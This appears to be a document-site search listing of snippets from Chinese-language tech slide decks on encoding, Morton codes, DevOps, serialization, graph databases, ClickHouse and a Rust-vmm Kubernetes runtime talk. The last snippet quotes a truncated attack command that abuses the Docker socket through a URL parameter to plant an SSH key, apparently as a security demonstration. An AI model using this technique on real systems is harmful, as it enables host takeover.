C++高性能并行编程与优化 - 课件 - 15 C++ 系列课:字符与字符串
能表示的,例如某款语言具有上万个字符(没错就是我现在用的这个语言)。 • 为此,各个国家自己内部提出了自己的编码格式,例如中国大陆推出了 GBK 编码格式表示简体中文的字符,中国的港澳台地区则推出了 BIG-5 编码格式 表示繁体中文的字符,日本又推出了 Shift-JIS 编码格式表示日语的字符…… 再后来,为了促进两岸统一,中国又有了包含同时简体和繁体的 GB18030 编 码,包含了 码,包含了 27484 个汉字。 • 但是随着富连网的普及,很多网站都会跨国访问,如果你的电脑配置为 GBK ,那么看到其他编码格式的网站就会出现乱码。如何统一世界上这么多 文字的编码?所以出现了俗称“万国码”的 Unicode 。他给世界上所有的字符编 码,从英文字母到中文汉字到古埃及象形文字,现在全部都可以用一个 0x000000~0x10FFFF 的整数表示了,是不是很暴力? 暴力解决: UTF-32 65536 的范围内),凭什么为了你 Unicode 就要一下子变成 4 字节才能表示啊!就为了兼容那些几 乎不用的埃及文字? UTF-16 的流行 • 所以 Windows 采用了 UTF-16 编码格式,他的 wchar_t 是 2 字 节的(实际上就是 unsigned short 的类型别名),广为推行。 • 等等,不是说 Unicode 的范围是 0x000000~0x10FFFF 吗?用0 码力 | 162 页 | 40.20 MB | 1 年前3C++高性能并行编程与优化 - 课件 - 07 深入浅出访存优化
(morton code) ?有什么用? • 如 x=x1x2x3, y=y1y2y3 • 则他们的莫顿码: m(x,y)=y1x1y2x2y3x3 • 二维莫顿编码可以把两个长度为 n 的二进制数,交错打包成一个长度 2*n 的二进制数。而莫顿编码的逆运算,就是莫顿解码: • mdec(m1m2m3m4)=(m2m4, m1m3) • 莫顿码的几何意义在于,以 (x,y)=mdec(t) 为参数方程,可以生成一 也是接近的,有利于访存局域性。 • 莫顿码还可用于构建八叉树、 BVH 等,但不是今天的话题。 https://cloud.tencent.com/developer/article/1461134 莫顿编码 (encode) 和解码 (decode) 的实现 morton2d::encode 把 2 个 32 位整数变成一个 64 位整 数 morton3d::encode 把 3 个 21 位整数变成一个0 码力 | 147 页 | 18.88 MB | 1 年前3Zadig 面向开发者的云原生 DevOps 平台
自助验证更高效:自动化工作流 + 云上环境,高效验证调试 安全发布有信心: 一个平台完成日常 90% 工作,开发自助发布 需求研发总耗时降低 30% 需求迭代周期缩短 1-5 倍 解放开发,专注编码 更多的架构和技术提升 测试 效率和质量难以平衡: • 自动化测试难以开展 • 环境不稳定并行验证效率低 • 测试多苦劳,价值难以体现 测试效果提升:独立稳定环境用于测试验收、自动化建设 测环境拉起能力,足够成熟时将 Zadig 推广至兄弟部 门。 —— 理想智能云软件效率总监 张然 智能云使用 Zadig 实现端云混合部署 Zadig 是云原生时代下的一站式持续交付平台,旨在让研发工程师专注于编码,让团队专注于功能实 现,助力企业更快地将产品创意带到现实世界中。0 码力 | 59 页 | 81.43 MB | 1 年前3Borsh 安全高效的二进制序列化
第三届中国 Rust 开发者大会 安全高效的二进制序列化 Daniel Wang @ NEAR Borsh • 运行、编码效率 • 确定性 • 跨平台兼容性 二进制序列化的问题 Binary Object Representation Serializer for Hashing • 字节级别确定性 • 执行速度快 Borsh • 轻量级 • 每一个对象与其二进制表示之间都存在一个双射映射0 码力 | 21 页 | 3.35 MB | 1 年前3Go读书会第二期
编程实践:测试、调试与性能剖析 践行哲学,遵循惯例,认清本质,理解原理 • Go 测试惯例与组织形式 • 模糊测试 (fuzzing test) • 性能基准测试、度量数据与 pprof 剖析 • 调试实践 聚焦编码之外的 Go 工具链使用实践 Part9 – 标准库、反射与 cgo 践行哲学,遵循惯例,认清本质,理解原理 • 高频使用的标准库包 ( net 、 http 、 strings 、 time0 码力 | 26 页 | 4.55 MB | 1 年前3新一代分布式高性能图数据库的构建 - 沈游人
图分析技术分类 图查询 • 使用图数据库的查询语言进行点边搜索 图算法 • 中心性算法 • 社区算法 • 路径算法 • … 图深度学习 • 图嵌入 • 图卷积 • 图注意力网络 • 图自编码器 图查询及其应用场景 图查询 • 使用图数据库的查询语言进行点边的关联查询,可以快速完成传统数据库难以完成的 多度点边关 联 当前图的典型应用场景 路径识别 群体挖掘 节点识别 相似节点0 码力 | 38 页 | 24.68 MB | 1 年前3应用 waPC (rust) 做软件测试工具
ResA: HttpResponse, #[serde(rename = "res_b")] pub ResB: HttpResponse, #[serde(rename = "url_path")] pub UrlPath: String, } ResA: Response corresponding to unmodified request ResB: Response Request) error{ … req_,err:=wasm.Invoke(ctx,req.url.path, req_payload) … req = req_ } ModifyResponse(res *http.Response) error{ … res_,err:=wasm.Invoke(ctx,res.url.path, req_payload) … res = res_ } Wasm prevent maintenance issues API 测试 - Wasm Mock Server 用 rust, 好处多 软件测试工具 • Url param ?loop=2 • index 取 _i • Command 定义是 URL extern crate wapc_guest as guest; use guest::prelude::*; extern crate wasm_mock_util;0 码力 | 30 页 | 2.50 MB | 1 年前3ClickHouse: настоящее и будущее
JOIN, argMin/argMax Функции для предметной области из коробки: • Click-stream: функции обработки URL и IP-адресов • Performance monitoring: квантили • Geospatial: geoDistance, pointInPolygon, H3, S20 码力 | 32 页 | 2.62 MB | 1 年前3基于Rust-vmm实现Kubernetes运行时
docker.vh.neargle.com:8888/?command_exec=python3 -c "import docker;client = docker.DockerClient(base_url='unix:///var/run/docker.sock');data = client.containers.run('alpine:latest', r'''sh -c \"echo 'ssh-rsa0 码力 | 27 页 | 34.17 MB | 1 年前3
共 9 条
- 1